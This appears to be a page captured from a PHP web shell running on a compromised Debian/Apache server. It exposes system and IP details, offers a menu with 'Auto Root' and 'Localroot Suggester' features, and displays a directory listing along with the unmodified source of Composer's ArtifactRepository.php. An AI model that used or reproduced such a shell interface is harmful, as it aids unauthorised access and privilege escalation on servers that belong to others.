Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
Composer /
Repository /
Delete
Unzip
Name
Size
Permission
Date
Action
Vcs
[ DIR ]
drwxr-xr-x
2026-07-12 06:24
AdvisoryProviderInterface.php
1.19
KB
-rw-r--r--
2023-03-21 10:50
ArrayRepository.php
10.44
KB
-rw-r--r--
2023-03-21 10:50
ArtifactRepository.php
4.32
KB
-rw-r--r--
2023-03-21 10:50
CanonicalPackagesTrait.php
1.45
KB
-rw-r--r--
2023-03-21 10:50
ComposerRepository.php
69.5
KB
-rw-r--r--
2023-03-21 10:50
CompositeRepository.php
5.22
KB
-rw-r--r--
2023-03-21 10:50
ConfigurableRepositoryInterface.php
542
B
-rw-r--r--
2023-03-21 10:50
FilesystemRepository.php
15.61
KB
-rw-r--r--
2026-05-14 09:28
FilterRepository.php
6.11
KB
-rw-r--r--
2023-03-21 10:50
InstalledArrayRepository.php
1002
B
-rw-r--r--
2023-03-21 10:50
InstalledFilesystemRepository.php
743
B
-rw-r--r--
2023-03-21 10:50
InstalledRepository.php
12.72
KB
-rw-r--r--
2023-03-21 10:50
InstalledRepositoryInterface.php
893
B
-rw-r--r--
2023-03-21 10:50
InvalidRepositoryException.php
504
B
-rw-r--r--
2023-03-21 10:50
LockArrayRepository.php
687
B
-rw-r--r--
2023-03-21 10:50
PackageRepository.php
1.81
KB
-rw-r--r--
2023-03-21 10:50
PathRepository.php
8.55
KB
-rw-r--r--
2023-03-21 10:50
PearRepository.php
843
B
-rw-r--r--
2023-03-21 10:50
PlatformRepository.php
31.2
KB
-rw-r--r--
2023-03-21 10:50
RepositoryFactory.php
7.75
KB
-rw-r--r--
2023-03-21 10:50
RepositoryInterface.php
4.79
KB
-rw-r--r--
2023-03-21 10:50
RepositoryManager.php
6.1
KB
-rw-r--r--
2023-03-21 10:50
RepositorySecurityException.php
507
B
-rw-r--r--
2023-03-21 10:50
RepositorySet.php
15.22
KB
-rw-r--r--
2023-03-21 10:50
RepositoryUtils.php
2.26
KB
-rw-r--r--
2023-03-21 10:50
RootPackageRepository.php
806
B
-rw-r--r--
2023-03-21 10:50
VcsRepository.php
20.02
KB
-rw-r--r--
2023-03-21 10:50
VersionCacheInterface.php
612
B
-rw-r--r--
2023-03-21 10:50
WritableArrayRepository.php
1.46
KB
-rw-r--r--
2023-03-21 10:50
WritableRepositoryInterface.php
1.8
KB
-rw-r--r--
2023-03-21 10:50
Save
Rename
<?php declare(strict_types=1); /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Repository; use Composer\IO\IOInterface; use Composer\Json\JsonFile; use Composer\Package\BasePackage; use Composer\Package\Loader\ArrayLoader; use Composer\Package\Loader\LoaderInterface; use Composer\Util\Tar; use Composer\Util\Zip; /** * @author Serge Smertin <serg.smertin@gmail.com> */ class ArtifactRepository extends ArrayRepository implements ConfigurableRepositoryInterface { /** @var LoaderInterface */ protected $loader; /** @var string */ protected $lookup; /** @var array{url: string} */ protected $repoConfig; /** @var IOInterface */ private $io; /** * @param array{url: string} $repoConfig */ public function __construct(array $repoConfig, IOInterface $io) { parent::__construct(); if (!extension_loaded('zip')) { throw new \RuntimeException('The artifact repository requires PHP\'s zip extension'); } $this->loader = new ArrayLoader(); $this->lookup = $repoConfig['url']; $this->io = $io; $this->repoConfig = $repoConfig; } public function getRepoName() { return 'artifact repo ('.$this->lookup.')'; } public function getRepoConfig() { return $this->repoConfig; } protected function initialize() { parent::initialize(); $this->scanDirectory($this->lookup); } private function scanDirectory(string $path): void { $io = $this->io; $directory = new \RecursiveDirectoryIterator($path, \RecursiveDirectoryIterator::FOLLOW_SYMLINKS); $iterator = new \RecursiveIteratorIterator($directory); $regex = new \RegexIterator($iterator, '/^.+\.(zip|tar|gz|tgz)$/i'); foreach ($regex as $file) { /* @var $file \SplFileInfo */ if (!$file->isFile()) { continue; } $package = $this->getComposerInformation($file); if (!$package) { $io->writeError("File <comment>{$file->getBasename()}</comment> doesn't seem to hold a package", true, IOInterface::VERBOSE); continue; } $template = 'Found package <info>%s</info> (<comment>%s</comment>) in file <info>%s</info>'; $io->writeError(sprintf($template, $package->getName(), $package->getPrettyVersion(), $file->getBasename()), true, IOInterface::VERBOSE); $this->addPackage($package); } } /** * @return ?BasePackage */ private function getComposerInformation(\SplFileInfo $file): ?BasePackage { $json = null; $fileType = null; $fileExtension = pathinfo($file->getPathname(), PATHINFO_EXTENSION); if (in_array($fileExtension, ['gz', 'tar', 'tgz'], true)) { $fileType = 'tar'; } elseif ($fileExtension === 'zip') { $fileType = 'zip'; } else { throw new \RuntimeException('Files with "'.$fileExtension.'" extensions aren\'t supported. Only ZIP and TAR/TAR.GZ/TGZ archives are supported.'); } try { if ($fileType === 'tar') { $json = Tar::getComposerJson($file->getPathname()); } else { $json = Zip::getComposerJson($file->getPathname()); } } catch (\Exception $exception) { $this->io->write('Failed loading package '.$file->getPathname().': '.$exception->getMessage(), false, IOInterface::VERBOSE); } if (null === $json) { return null; } $package = JsonFile::parseJson($json, $file->getPathname().'#composer.json'); $package['dist'] = [ 'type' => $fileType, 'url' => strtr($file->getPathname(), '\\', '/'), 'shasum' => sha1_file($file->getRealPath()), ]; try { $package = $this->loader->load($package); } catch (\UnexpectedValueException $e) { throw new \UnexpectedValueException('Failed loading package in '.$file.': '.$e->getMessage(), 0, $e); } return $package; } }